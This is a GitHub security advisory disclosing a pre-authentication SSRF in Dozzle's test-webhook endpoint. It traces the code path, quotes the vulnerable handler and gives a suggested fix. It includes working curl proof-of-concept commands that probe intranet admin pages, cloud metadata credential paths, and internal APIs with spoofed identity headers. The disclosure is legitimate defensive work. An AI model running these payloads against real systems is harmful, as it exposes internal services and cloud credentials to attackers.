github.com/amir20/dozzle
Affected
- introduced
0, last affected8.14.12(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: CVE-2026-45298, GO-2026-5101
Dozzle: Pre-auth SSRF with response-body reflection via POST /api/notifications/test-webhook (default no-auth deploy)
Summary
In a default dozzle deploy (the documented quickstart, no DOZZLE_AUTH_PROVIDER set), POST /api/notifications/test-webhook is reachable without authentication and forwards an attacker-controlled URL into a WebhookDispatcher that:
This is a classic full-reflection SSRF, pre-auth, against any IP/port that dozzle's host can route to — including private subnets, link-local cloud metadata, and loopback services.
Affected versions
internal/notification/dispatcher/webhook.go and internal/web/notifications.go at commit 581bab3a43ead84ea4d009a469a17af98fb3377f and earlier (the test-webhook handler has been in place since the notifications subsystem was added).
Default-deploy reachability chain
main.go:58-59 → enforces AuthProvider in {none, forward-proxy, simple}
support/cli/args.go:18 → AuthProvider default is "none"
main.go:231-243 → when AuthProvider == "none", web.AuthProvider stays at NONE
internal/web/routes.go:130-132, 137-138 → auth middleware only registered if Provider != NONE
internal/web/routes.go:172-188 → /api/notifications/* (incl. /test-webhook) is inside that conditional Group
So the default Quickstart deploy
docker run -v /var/run/docker.sock:/var/run/docker.sock -p 8080:8080 amir20/dozzle:latest
exposes POST /api/notifications/test-webhook to the network without any authentication.
The vulnerable handler
// internal/web/notifications.go:652-716
func (h *handler) testWebhook(w http.ResponseWriter, r *http.Request) {
var input TestWebhookInput
if err := json.NewDecoder(r.Body).Decode(&input); err != nil { ... }
...
webhook, err := dispatcher.NewWebhookDispatcher("test", input.URL, templateStr, input.Headers)
...
result := webhook.SendTest(r.Context(), mockNotification)
...
writeJSON(w, http.StatusOK, &TestWebhookResult{
Success: result.Success,
StatusCode: statusCode,
Error: errStr,
})
}
input.URL and input.Headers are entirely user-controlled. No host/IP/scheme validation anywhere.
The reflection sink
// internal/notification/dispatcher/webhook.go:88-120
req, err := http.NewRequestWithContext(ctx, http.MethodPost, w.URL, bytes.NewReader(payload))
...
for k, v := range w.Headers { req.Header.Set(k, v) }
...
resp, err := w.client.Do(req)
...
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
limitedReader := io.LimitReader(resp.Body, 1024*1024) // 1 MB
responseBody, _ := io.ReadAll(limitedReader)
...
return TestResult{
Success: false,
StatusCode: resp.StatusCode,
Error: fmt.Sprintf("webhook returned status code %d: %s",
resp.StatusCode, string(responseBody)),
}
}
When the SSRF target returns non-2xx, up to 1 MB of response body becomes part of Error, which is then JSON-encoded back to the attacker.
PoC
A. Read intranet admin-panel response bodies (most common path)
Most internal admin UIs respond to anonymous POST with 401/403 + an HTML or JSON body that contains version banners, CSRF tokens, internal hostnames, etc.
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://192.168.1.1/admin/index.html","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
Response shape (writeJSON to the public Internet):
{
"Success": false,
"StatusCode": 401,
"Error": "webhook returned status code 401: <html><head>... full intranet HTML body, up to 1MB ...</html>"
}
B. Cloud IMDS reachability probe
curl -X POST -H "Content-Type: application/json" \
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","headers":{}}' \
http://dozzle.example.com/api/notifications/test-webhook
If StatusCode == 200, IMDS is reachable. For AWS IMDSv2 the unauth POST returns 401 + body which IS reflected.
C. Header injection downstream
curl -X POST -H "Content-Type: application/json" \
-d '{
"url":"http://internal-api.example.com:8080/admin/users",
"headers":{"X-Forwarded-User":"admin","X-Real-IP":"127.0.0.1"}
}' \
http://dozzle.example.com/api/notifications/test-webhook
Suggested fix
net.LookupIP; refuse private/loopback/link-local/CGNAT; pin http.Transport.DialContext to the resolved IP (closes DNS-rebinding TOCTOU). Refuse non-http(s) schemes.Success: bool, StatusCode: int.Severity
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N ≈ 7.5 in default no-auth deploy.DOZZLE_AUTH_PROVIDER=simple configured, the same primitive is post-auth.Reproduction environment
amir20/dozzle:8.x Docker image (commit 581bab3a43ead84ea4d009a469a17af98fb3377f).internal/web/notifications.go:652-716internal/notification/dispatcher/webhook.go:88-120internal/web/routes.go:130-138, 172-188internal/support/cli/args.go:18, main.go:231Reporter
Eddie Ran. Filed via reporter API per dozzle's SECURITY.md.
High Basis: The source's own band: HIGH
0, last affected 8.14.12 (semver)None listed
No fixed version is listed.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0